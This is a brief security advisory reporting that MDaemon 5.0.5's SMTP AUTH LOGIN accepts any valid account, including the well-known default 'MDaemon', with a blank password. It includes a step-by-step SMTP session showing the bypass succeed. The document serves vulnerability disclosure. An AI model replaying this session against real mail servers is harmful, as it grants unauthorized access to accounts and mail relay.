source: http://www.securityfocus.com/bid/8382/info

A vulnerability has been reported to affect the MDaemon SMTP authentication handler.

It has been reported that any valid username or account can be used in conjunction with a null password, to access the MDaemon SMTP server. This issue may be exaggerated, because a default MDaemon account 'MDaemon' is well known.

220 xxx.com ESMTP MDaemon 5.0.5; Sat, 02 Aug 2003 00:51:06 +0200
EHLO localhost
250-xxx.com Hello localhost, pleased to meet you
250-ETRN
250-AUTH LOGIN CRAM-MD5
250-8BITMIME
250 SIZE 0
AUTH LOGIN
334 VXNlcm5hbWU6 (334 Username:)
TURhZW1vbg== (MDaemon)
334 UGFzc3dvcmQ6 (334 Password:)
(blank password)
235 Authentication successful